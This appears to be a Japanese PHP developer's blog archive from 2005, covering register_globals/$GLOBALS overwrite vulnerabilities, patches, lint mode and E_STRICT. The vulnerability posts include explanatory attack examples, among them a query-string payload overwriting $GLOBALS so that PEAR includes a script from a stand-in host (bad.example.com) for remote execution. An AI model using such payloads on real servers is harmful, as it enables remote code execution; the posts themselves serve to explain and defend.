タグ: PHP

register_globals=onが必要なアプリ対策

register_globals=onで運用しなければならないアプリケーションはまだ結構あるようです。古いPHPには

http://blog.ohgaki.net/index.php/yohgaki/2005/11/09/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp_2

の$GLOBALS改ざん問題がありますが、アプリの動作検証などには時間が必要です。snortを利用してIPSを作る方法もありますがPHPで対応する簡単な方法を紹介します。(注:完全な対策ではありません)

PHP 5.0.5の参照エラーを回避するパッチ

PHP 5.0.5の場合、不必要なFatalエラーが多発します。

Fatal error: Only variables can be passed by reference in
/home/yohgaki/public_html/pukiwiki-1.4.5_1.orig/rules.ini.php on line 26

私も最初は本気でこのような仕様にするつもりか、と思いましたが5.0.6では修正されます。

パッチを当てることでPHP 5.0.5で発生するエラーを回避できます。

ところでPHP 5.0.xはMMAPの利用方法にバグがある為、2MB以上のファイルを取り扱えない場合があります。この問題にはこちらのパッチをどうぞ。

PHPに重大な脆弱性(PHP4.4.0以下、PHP5.0.5以下) – まとめ

追記 2007/11/06: 現在のリリース版(4.4.7, 5.2.4)ではこの脆弱性は修正されていす。これより以前のPHPでも修正されていますが、別の脆弱性があるので最新リリース版の使用をお奨めします。

追記:PHP 5.1.1、PHP 5.1.2にはPHP 5.1.0で追加された対策がなぜか削除されています。PHP5でosCommerce等、register_globals=onが必須のアプリケーションやimport_request_variable関数を使用したregister_globals=off対策を行っている古いPHPスクリプトなどを動作させる場合には注意が必要です。register_globals=onが必要なアプリケーションへの対処が参考になります。

よろしければWebサイトセキュリティ対策入門も参考にしていただけると幸いです。リンク先に目次と書籍の紹介を記載しました。


Hardened-PHP Projectのセキュリティアドバイザリ

http://www.hardened-php.net/advisory_202005.79.html (以下アドバイザリ)

および

http://www.hardened-php.net/globals-problem (以下ホワイトペーパー)

について誤解があったため混乱させてしまったので調査した結果のまとめを書きます。結論から言うとこのアドバイザリはregister_globals=on環境のみ影響を受けると考えられます。ホワイトペーパーで指摘されている$GLOBALS書き換えによるコードの挿入等のコード実行を伴うセキュリティ上の問題は、アドバイザリによって指摘されている$_FILESの初期化時に$GLOBALSを上書きできる事により発生する場合もあります。ユーザが記述したコードが原因で$GLOBALSを書き換えれる場合もあります。
(ホワイトペーパーでは$_FILES以外に、古いPHPバージョンの$_GET/$_POST/$_COOKIEの$GLOBALS書き換え問題についても指摘しています)

2つの問題を同時に説明すると混乱の元ですので別々に説明します。攻撃例を説明した方が解りやすいので私が典型的と考えた攻撃例も付けました。

問題1 -「$_GET/$_POST/$_COOKE/$_FILESの初期化によって$GLOBALS配列が上書きされる問題」
不具合:register_globals=on設定の場合、$_GET/$_POST/$_COOKIE配列の初期化に問題があり$GLOBALS配列を書き換えてしまえる。(PHP 4.3.10以下、PHP 5.0.3以下)register_globals=on設定の場合、$_FILESの初期化に問題があり$GLOBALS配列を書き換えてしまえる。(PHP 4.4.0以下、PHP 5.0.5以下)

この不具合の影響:例えば、システムが設定する$_SERVER[REMOTE_ADDR]が信頼できなくなりPHPレベルでのIPアドレスベースの認証等は役に立たなくなる。$_SERVER[SCRIPT_FILENAME]をライブラリパス指定に利用している場合、リモートスクリプト実行が可能になる場合がある。

備考:この問題PHPが自動的に初期化する$_GET, $_FILES等の配列初期化時に発生します。$_SERVERの改ざんの影響を除くと、グローバル変数を利用する前に初期化するようプログラムされている場合には影響を受けません。

問題1を利用した攻撃例 -「$_SERVER[‘SCRIPT_FILENAME’]の改ざん」
スクリプトのライブラリへのPATHを指定する為に$_SERVER[‘SCRIPT_FILENAME’]等を利用している場合、スクリプトの内部構造を知らなくてもブルートフォース攻撃でサーバ上のPHPスクリプト対してリモートスクリプトの実行を試みることが可能となる。

問題となるようなコードの例

<?php
// 呼び出されたスクリプトのディレクトリを取得
define(‘LIBPATH’, dirname($_SERVER[‘SCRIPT_FILENAME’]) . ‘/lib/’);

// $_SERVER[‘SCRIPT_FILENAME’]はサーバが設定する値なので信頼できる
// はずだが丸ごと$GLOBALSを書き換えられた場合信頼できない。

// ライブラリの初期化
include(LIBPATH . ‘init.php’);

// 攻撃者はLIBPATHに”http://badserver.example.com/bad-script.php\0″
// 等を設定してリモートスクリプトを実行できる
?>

問題2 -「PHPスクリプト中で$GLOBALS配列が上書きされる問題」
不具合:register_globals=on設定の場合、ローカルスコープでもimport_request_variables関数、extract関数、parse_str関数、foreach等で$GLOBALS配列の書き換えが可能となる。グローバルスコープではregister_globals設定に関わらず$GLOBALS配列の書き換えが可能となる。

この問題の影響:既に初期化済みのグローバル変数が汚染された結果としてリモートスクリプトの実行などが可能となる場合がある。

備考:効果的な攻撃には、攻撃者がスクリプトの内部構造を知っている必要がある。ホワイトペーパーにあるようにPEAR.phpも攻撃の対象となる。少なくともPHP 5.0.4ではregister_globals設定のon/offに関わらずmport_request_variables関数、extract関数、parse_str関数を利用しても$GLOBALS配列のローカルスコープ(関数内)での書き換えはからは保護されます。foreach等による$GLOBALSの書き換えも保護されます。しかしグローバルスコープではregister_globals=offであっても保護されません。

問題2を利用した攻撃例 -「$GLOBALS変数の改ざん」
$GLOBALSの改ざんによりPEAR.phpを利用しリモートスクリプトを実行する

問題となるようなコードの例

<?php
// PEARライブラリを初期化
include ‘PEAR.php’;

// 古いコードの実行のためにregister_globals設定に関わらずユーザ
// 変数をグローバルスコープにインポート
// (このようなコードがある事自体がセキュリティホールですが例として)
import_request_variables(‘gp’);

// 本来はシャットダウン関数として登録するつもりのない関数
function bad_function() {
// register_gloabls=offが前提。$GLOBALSへのアクセスは安全(なはず…)
include $GLOBALS[‘some_path’] . ‘/some_file.php’;
}

// 攻撃者は 関数引数がinclude/requireに利用されている関数を
// $GLOBALS[‘_PEAR_shutdown_funcs’]
// に攻撃用の外部スクリプトを呼び出すよう
//http://target/?GLOBALS[_PEAR_shutdown_funcs][0]=[bad_function][]&GLOBALS[some_path]=http://bad.example.com/bad.php
// 等としてリモートスクリプトを実行する。
?>

攻撃には色々なバリエーションが考えられます。例えば、画像ファイルのアップロードをサポートしているサーバの場合で画像が保存されているパスが判っていると、allow_url_fopen=offに設定されていても攻撃が可能になります。細工した画像ファイルをアップロードしローカルの画像ファイルとして保存されるファイルにPHPスクリプトを埋め込み、ローカルファイルシステムから攻撃用のスクリプトを読み込む攻撃が可能となります。
(PHPスクリプトで画像形式をチェックしていてもほんの少しファイルのヘッダ部分を加工するだけでPHPスクリプトを画像ファイルとして取り扱わせる事が可能です。)

この様に特定の条件を満たせば比較的簡単にリモートからの任意スクリプトの実行攻撃が可能になります。「register_globals=onでも安全にプログラムできる」という議論がありましたが古いPHPでregister_globals=onで安全なPHPスクリプト、それもある程度複雑なPHPスクリプトを書くのはかなり難しいと思います。さらに古いPHPのregister_globals=onサポートには非常に大きなセキュリティホールがあったと言えます。古いPHPでregister_globals=onで運用しているWebサーバの危険度はかなり大きいと言えます。

追記:今時register_globals=onが必要なオープンソース製品は無い、と思っていたのですが見つけてしまったので追記します。register_globals=on設定が必要なオープンソース製品の場合はプログラムの内部構造が公開されているため脆弱性があるPHPで運用するのは無謀です。ある製品のソースをさっと斜め読みしたのですがリモートスクリプト実行が可能となる箇所を簡単に(約5分で)見つけることが出来ました。

PHP 4.2以降はregister_globals=offがデフォルト設定です。register_globals=offで運用している限り大きな影響は無いと思いますが、一部の古いスクリプト実行の為に仮想ホストでregister_globals=onになっていたり、不適切なimport_request_variables関数などの使用が無いか確認する方が良いと思います。

参考までに主なPHPの脆弱性をリストアップしました。比較的最近、addslashes関数に致命的なバグも見つかっています。escape_shell_args関数やpg_escape_string関数等を適切な関数を利用していれば良いのですが古いスクリプトではaddslashesが利用されている場合があります。SQLインジェクション等に注意が必要です。strip_tags関数にも同様のバグが見つかっています。strip_tags関数でクロスサイトスクリプティングを防いでいるサイトも要注意です。

最後に、register_globals=OffでPHPを運用し、古いPHPスクリプトに対して安直なregister_globals=Off対応を行っていないWebサイトの管理者の方には無用に大きなご心配をおかけした事をお詫びいたします。

参考:
PHPの脆弱性リスト
http://wiki.ohgaki.net/index.php?PHP%2F%C0%C8%BC%E5%C0%AD%A5%EA%A5%B9%A5%C8
簡易な対策
http://blog.ohgaki.net/index.php/yohgaki/2005/11/12/register_globals_ona_ai_eb_a_oa_ca_a_oam

過去の関連エントリ
http://blog.ohgaki.net/index.php/yohgaki/2005/11/03/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp_1
http://blog.ohgaki.net/index.php/yohgaki/2005/11/02/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp

PHPの現行リリースに重大な脆弱性(PHP4.4.0以下、PHP5.0.5以下) – その2

追記:まとめ用のエントリも追加しました下記URLもご覧ください。

http://blog.ohgaki.net/index.php/yohgaki/2005/11/09/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp_2


まず先のブログエントリで私が誤解していたため解りづらい状態になっていました。register_globals=offであればアドバイザリ(http://www.hardened-php.net/advisory_202005.79.html)の影響は受けません。この場で深くお詫びいたします。

いくつかのパターンが考えられますが今回Hardened-PHPプロジェクトからのアドバイザリで指摘されている問題によって影響を受ける環境は次のようになります。

影響を受ける環境1

  • register_globals=on に設定しているPHP4,PHP5
  • 未パッチのPHP – PHP 4.4.0以下、PHP 5.0.5以下
  • http://www.hardened-php.net/advisory_202005.79.html

影響を受ける環境2

  • parse_str関数を1つの引数のみでユーザが送信したデータに対して使用した場合
  • 未パッチのPHP – PHP 4.4.0以下、PHP 5.0.5以下
  • http://www.hardened-php.net/advisory_192005.78.html

アドバイザリより参照先とされたリンク先の問題の方が問題です。安全なプログラミングをこころがけているプログラマであれば脆弱なコードを書くことはないと思いますが、後で影響を受ける環境/プログラムについてもう少し解りやすく記述します。

http://www.hardened-php.net/globals-problem

影響を受ける環境3

  • import_request_variables等を使ってスコープ内にユーザが送信した変数を初期化しているプログラムを使用している(実装の違いからPHP4とPHP5、パッチの有り無し、バージョン、global_register設定で影響範囲が違う)

環境1のregister_globals=offはPHP4.2からのデフォルトであるため現在register_globals=onで運用しているシステムは無いと思いますが、register_globals=onでなければ動作しないアプリケーションの場合、直接影響を受けるので直ぐにアップデートが必要です。環境2のアドバイザリは事例が限定されていますがregister_globals=off設定でもregister_globals=onに変えてしまう脆弱性です。parse_str関数を引数1つのみで使う事は無いと思いますが一旦register_globals=onに設定が変わるとプロセスが終了するまでそのままになってしまいます。環境3はPHP本体の脆弱性とPHPスクリプトに作ってしまう脆弱性です。

Stefanさんの環境1に対するアドバイザリがCriticalとして設定されているのは次の理由からと考えられます。

  • 問題が発見されるまでは安全と考えられていたグローバル変数を利用したコードが危険なコードであること
  • PHP 4.4.1以前に添付されているPEAR.php等が攻撃に対して脆弱であること
  • 古いPHPとコードと使用している組織が多いこと
  • ワームなどが発生する可能性があると考えていること

# 環境2のparse_str関数の問題がLowレベルのアドバイザリとしてリリースした事
# から考えると環境1をCriticalレベルのアドバイザリとしてfile uploadの問題
# を取り上げるのはどうかと思います。言い訳になりますが同時に出されたアド
# バイザリのレベル、参考リンクと必要なパッチを見て誤解してしまう、という
# 失敗をしてしまいました。

典型的な環境3のようなプログラムはregister_globals=onである事を仮定していたレガシーなコードをregister_globals=off環境でも動作するように修正したプログラムと思います。新しいプログラムでもimport_request_variables関数等を利用した古いプログラミングスタイルのプログラムは脆弱になります。import_request_variables関数を利用しなくても自前でforeach文などでユーザ入力をスコープ上に展開した場合も脆弱になります。(hardened-phpの場合、このようなケースでも対応しているそうです)

対策としてはPHP本体とPEARをバージョンアップしできる限り安全な状態も必要ですが、PHPコードの再検査、特にレガシーなPHPスクリプト、を行い危険なユーザ変数のスコープ(クラス、ローカル、グローバル全て)への代入が無い事を確認する必要性があります。この問題をPHP本体のみで対処できれば良いのですがすべては望めません。

function bad1() {
  import_request_variables('g'); // GETの変数をローカルスコープに展開したい
  // prefixを付けないと$GLOBALSなどを書き換えられる可能性がある
}

function bad2() {
  forearch($_GET as $k=$v) $$k=$v;
  // import_request_variables('g')と同じ
}

確かにアドバイザリにあるようなPHP本体の脆弱性が影響する部分もあるのですが、ホワイトペーパーで指摘されているユーザのコード(PHPで書いたスクリプト)の方が問題と思います。上記の様なコードは非常に危険であるため古いコードには十分注意が必要と思います。

PHPで記述されたnanoftpd

PHPで記述されたWebサーバ、nanowebが公開されたのは随分前で確かsoket関数に地雷が沢山埋まっている頃だったと思います。地雷にもめげずよく作ったものだ、と関心した事を覚えています。

PHPで記述されたFTPサーバ(nanoftpd)公開されていたんですね。PHPは使えるけどFTPは使えないサーバに便利かも知れないですね。

PHPのlintモード

エラーハンドラでE_ERRORを処理できるようにして関数名などのタイポに対応できても、タイポによる構文エラーに対処できなければ意味が無いよね?と言う事でlintモードの紹介です。

随分前のPHPからlint(構文をチェックするモード)はあったのですがあまり使われていない(?)ような気がします。実際、かなり長い間壊れていた事もあります。最近のPHPのlintモードは壊れていないので-lオプションを使ってチェックすれば思わぬ構文エラーによるスクリプトの停止も免れます。

いくらエラーハンドラでエラーをwebmasterに通知していても構文エラーには無力です。特にアプリの新規作成時や大量の変更がある場合にはlintモードを使う方が良いでしょう。詳しくはWikiに書きました。

ユーザ定義エラーハンドラの拡張パッチ

最近のPHPはE_ERROR(未定義の関数呼び出しなどで発生)をユーザ定義エラーハンドラで処理できません。これはE_ERRORが発生した場合、必ずeixtを呼び出しスクリプトの実行を停止しないと誤作動する問題に対処した為です。

随分前(PHP 4.3がリリースされた頃)からこんな感じでパッチを書けばよいです、と紹介はしていたのですがWikiに書きました。よろしければご利用ください。ユーザ定義エラーハンドラに問題(E_ERRORが発生する等)が無ければE_ERRORでexitすれば問題は発生しないはずです。万が一、関数名をタイポしていてもエラーページを表示しwebmasterに通知する処理などをエラーハンドラに定義できるので有用です。

php内部でのmmapの使い方

遅ればせながらPHP 5.0.5使っていて直しているだろう、と思い込んでいたバグが直っていない事に気が付きました。

PHP内部のphp_stream_passthru()関数はreadfile()やfpassthru()関数に利用されているのですがmmapの使い方がいい加減です。PHP 4.3.xのバグレポートでreadfile()で大きなファイルが読めない旨のバグレポートがあったので全てのブランチで直っている、と思っていたのが間違いでした。

mmapは名前通りファイルをメモリにマップする関数です。メモリマップすることにより典型的なファイルI/Oコードに必要なバッファへのコピー、その後の出力、というステップがメモリからの読み出しと同時に出力、とバッファコピーが減るメリットがあります。

メモリにマップするので色々制限があります。特に32bitシステムでは小さいファイルしか(と言っても2GBくらいのファイルなら取り扱えますが)取り扱えない、メモリ圧迫する(2GBのファイルをマップすると、2GB mallocが失敗するなど)の問題があります。さらに比較的大きなファイルを実際に読み出すとスワップの嵐になるシステムも… 当たり前といえば当たり前の制限です。

と前置きしたのでPHP 5.0.5でどうなっていたかと言うと「mmapをサポートするシステムの場合、ファイル全体をマップする」ようになっています。当然前述のような問題が発生します。そこで2MB以上のファイルはmmapできないようにしています…

PHPAPI char *_php_stream_mmap_range(php_stream *stream, size_t offset, size_t length, php_stream_mmap_operation_t mode, size_t *mapped_len TSRMLS_DC)
{
SNIP
/* For now, we impose an arbitrary 2MB limit to avoid
* runaway swapping when large files are passed thru. */
if (length > 2 * 1024 * 1024) {
return NULL;
}

別にこれ自体はそれほど悪い事(2MBなどと非常に小さい値にしている事は除いて)ではないのですがこのおかげでphp_stream_mmap_range()を利用する、恐らく、ほとんどの関数で2MB以上のファイルを正しく取り扱えなくなっているようです。

中途半端に使える物は使わない方が良いのでmmapを使わせないようにするには

– PHPのランタイムからはstreamのオプションでmmapを使わないよう全てのスクリプトで設定する(iniオプションが無い!)
– 次のパッチを当ててPHPをリビルドする

等として回避する必要があります。

diff -ur php-5.0.5.orig/main/streams/php_stream_mmap.h php-5.0.5/main/streams/php_stream_mmap.h
— php-5.0.5.orig/main/streams/php_stream_mmap.h 2004-02-20 17:22:12.000000000 +0900
+++ php-5.0.5/main/streams/php_stream_mmap.h 2005-10-23 10:23:56.492890384 +0900
@@ -62,7 +62,7 @@

/* Returns 1 if the stream in its current state can be memory mapped,
* 0 otherwise */
-#define php_stream_mmap_possible(stream) (!php_stream_is_filtered((stream)) && php_stream_mmap_supported((stream)))
+#define php_stream_mmap_possible(stream) 0

BEGIN_EXTERN_C()
PHPAPI char *_php_stream_mmap_range(php_stream *stream, size_t offset, size_t length, php_stream_mmap_operation_t mode, size_t *mapped_len TSRMLS_DC);

きちんと直すの事も簡単(チャンク単位でmap, unmapを繰り返す)なのですがとりあえず情報として…

# この問題、開発者が理解してないかも…

また作りを知らない人が…

「PHP Open_BaseDir Security Restriction Bypass Vulnerability」と言うbug truckのエントリを作っている人がいますね…. 何年も前から何度もソフトウェアのデザイン上の間違いではない事は解説されているのですけどね….

最近のPHPマニュアルには「open_basedir」も「safe_mode」もスクリプトを書く人からの不正なファイルアクセスを防止する為のセキュリティ対策ではない事、完全な(安全な)アクセス制御を行う仕組みでは無いことは明記してあります。
# 「It is architecturally incorrect to try to solve this
# problem at the PHP level」
# http://www.php.net/manual/en/features.safe-mode.php
# 「アーキテクチャ的にはこの問題をPHPレベルで解決しようと
# するのは正しくありまえせんが」と記述してあります。

たとえばPostgreSQLのラージオブジェクト関数を使うとWebサーバがアクセス可能なファイル全てにアクセスできます。SQL文でファイルをロードできる物もあります。外部のライブラリやシステムを利用するプログラムがファイルアクセスを完全に制御できないのは*当たり前*の事なのです。

だからといって「open_base_dir」や「safe_mode」が無意味かというとそうではありません。例えば、プログラムミスによりディレクトリ遷移バグが入ってしまった場合などには「open_base_dir」は非常に役に立ちます。ログを自動チェックするようにしていればサーバが攻撃された際にディレクトリ遷移バグがあることと攻撃されている事が判別することができます。

改訂版PHPポケットリファレンス

昨日、見本が届きました。
デザインが新しくなったようです。ポケットリファレンスシリーズは引数を◆■◇□等の記号で表記していましたが新しいポケリ(POKERI)シリーズは引数を名称で書くようになりました。改訂前より随分見やすくなったと思います。amazon.co.jpにあるかなと思い検索すると予約可能となっていました。画像が無かったので自分で撮った写真がこれです。

一応、最新版PHPバージョンのPHP4.4, PHP5.1にもadhoc対応しています。
賛否両論のサンプルスクリプトは健在ですが、ページ数の関係で言語仕様の概要を削除する事になりました。機能が増えたので言語仕様の解説を削除してもページ数は約100ページ増えています。紙の厚さが薄くなったのでページ数が増えても厚さは増していません。

間違い等を見付けられた場合は是非教えていください。

gooの辞書検索がPHPに

少し前の事になりますがgoo.ne.jpの辞書サービスがCGIバイナリ(?)からPHPに変更されました。

具体的にはURLが

http://dictionary.goo.ne.jp/cgi-bin/dict_search.cgi

から

http://dictionary.goo.ne.jp/search.php

に変更されました。たいした事ではないですが気が付いたので。

PHP 5.0.5リリース

PHP 5.0.5がリリースされました。XMLRPCのセキュリティフィックスが含まれています。

他のディストリビューションも同じとは思いますが、Momonga LinuxのXMLRPCは現行リリース(5.0.4-6m)でもセキュリティ対策済みです。

岡山県工業技術センターでPHPセミナー

岡山県工業技術センターでPHPの入門セミナー講師をさせていただきました。会議室に満員の70名ほどの方に聞いていただきました。

入門といっても前半がPHPの紹介、後半がセキュリティ対策の基礎、という入門用のセミナとしては内容がPHPに特化していたと思います。PHPを使っていない方も多かったので私の本と同じで評価は大きく分かれるセミナーになったと思います。

しかしセキュリティ対策の基礎は資料だけでも十分参考になると思うので少しでも安全なWebサイト構築の助けになればよいと思います。

PHPのE_STRICTエラー

PHPのエラーレポートレベルはphp.ini設定のerror_reportingで設定されています。

PHP5から追加されたE_STRICTで「あれ」と思われるかもしれない状況があるので書いておきます。

PHP5でE_ALLをerror_reportingに設定してもE_STRICTレベルのエラーは報告されません。デフォルト設定ファイルではE_STRICTは無視されるようになっています。

error_reporting = E_ALL | E_STRICT

と設定しないとより厳しいエラーチェックが行われません。

開発時には言語が用意しているエラーチェックを出来る限り多く使用するべきです。しかし、E_STRICTレベルのエラーレポートを行う設定を行った場合に問題が発生する場合があります。次のコードがどのように処理されるか考えると分かります。

<?php
error_reporting(E_ALL); // E_STRICTは不必要

class foo {
  var $bar;
}
?>

E_STRICTで報告されるエラーには”var”宣言されたプロパティにpublic/private/protectedを使用するよう推奨するエラーがあります。このエラーはコンパイル時に発生するため、スクリプト中でerror_reporting関数を使ってエラー報告レベルと変更してもE_STRICTエラーを無視できません。E_STRICTエラーが有効な環境で、error_reporting関数で確実にE_STRICTエラーが発生しないようにするには、E_STRICTエラー出力を抑制するには最初に読み込まれるファイルのコード中にE_STRICTエラーが発生しないしerror_reporting関数を使用してエラー報告レベルを変更しなければなりません。

# E_STRICTは開発時だけ使う、という方針がお勧めです。
# PHP4用に作ったアプリの修正は手間な場合は、INSTALL
# ファイルなどにE_STRICTは無効にするよう書くだけでも
# 良いかもしれません。

備考:
E_NOTICEレベルのエラーは全て実行時に発生するエラーであるため、E_STRICTの様な問題は発生しません。念のため。

追記:
今時のPHPアプリケーションならE_STRICTエラーも発生しないようにプログラムを作成すべきす。

 

PHPのメモリ・リソースリークの修正

気が付いていてもやってないことが多いので、せめて近日中に処理しようと思っていることくらいは公開して自分にプレッシャーをかけてみる事にしました。

PHPにはError HandlerやException Hanlderを使った場合、メモリやリソースが開放されない場合があります。多少のリークは問題とならない場合がほとんどですが中にはサーバがフリーズしてしまうケースもあります。原因と修正すべきコード、対処方法なども分かっています。取り掛かろうとしてinternalsに軽くメールしたのち放置中…

# この問題と原因は随分前から知っていて放置してました :(